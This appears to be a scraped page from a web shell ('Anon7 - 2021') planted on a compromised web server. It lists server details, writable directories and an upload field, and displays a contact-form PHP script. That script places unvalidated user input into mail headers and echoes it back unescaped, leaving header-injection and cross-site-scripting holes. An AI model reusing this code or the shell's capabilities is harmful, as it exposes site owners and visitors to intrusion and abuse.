KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/smartny/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/smartny/contact_hold.php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $name = $_POST["name"];
    $email = $_POST["email"];
    $subject = $_POST["subject"];
    $message = $_POST["message"];
    
    // Email address where you want to receive the messages
    $to = "[email protected]";
    
    // Email headers
    $headers = "From: " . $email . "\r\n" .
               "Reply-To: " . $email . "\r\n" .
               "X-Mailer: PHP/" . phpversion();
    
    // Send the email
    mail($to, $subject, $message, $headers);
    
    echo "Thank you, $name, for reaching out to us!";
} else {
    header("Location: contact.html"); // Redirect to the contact form if accessed directly
}
?>

Anon7 - 2021